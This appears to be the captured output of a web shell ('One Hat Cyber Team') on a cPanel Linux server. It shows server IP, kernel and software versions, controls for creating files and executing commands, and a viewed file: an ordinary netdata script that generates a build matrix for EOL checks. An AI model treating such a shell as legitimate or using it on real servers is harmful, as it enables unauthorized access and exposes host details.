⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.23
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
local
/
src
/
netdata
/
.github
/
scripts
/
View File Name :
gen-matrix-eol-check.py
#!/usr/bin/env python3 '''Generate the build matrix for the EOL check jobs.''' import json from ruamel.yaml import YAML yaml = YAML(typ='safe') entries = list() with open('.github/data/distros.yml') as f: data = yaml.load(f) for item in data['include']: if 'eol_check' in item and item['eol_check']: if isinstance(item['eol_check'], str): distro = item['eol_check'] else: distro = item['distro'] entries.append({ 'distro': distro, 'release': item['version'], 'full_name': f'{ item["distro"] } { item["version"] }' }) entries.sort(key=lambda k: (k['distro'], k['release'])) matrix = json.dumps({'include': entries}, sort_keys=True) print(matrix)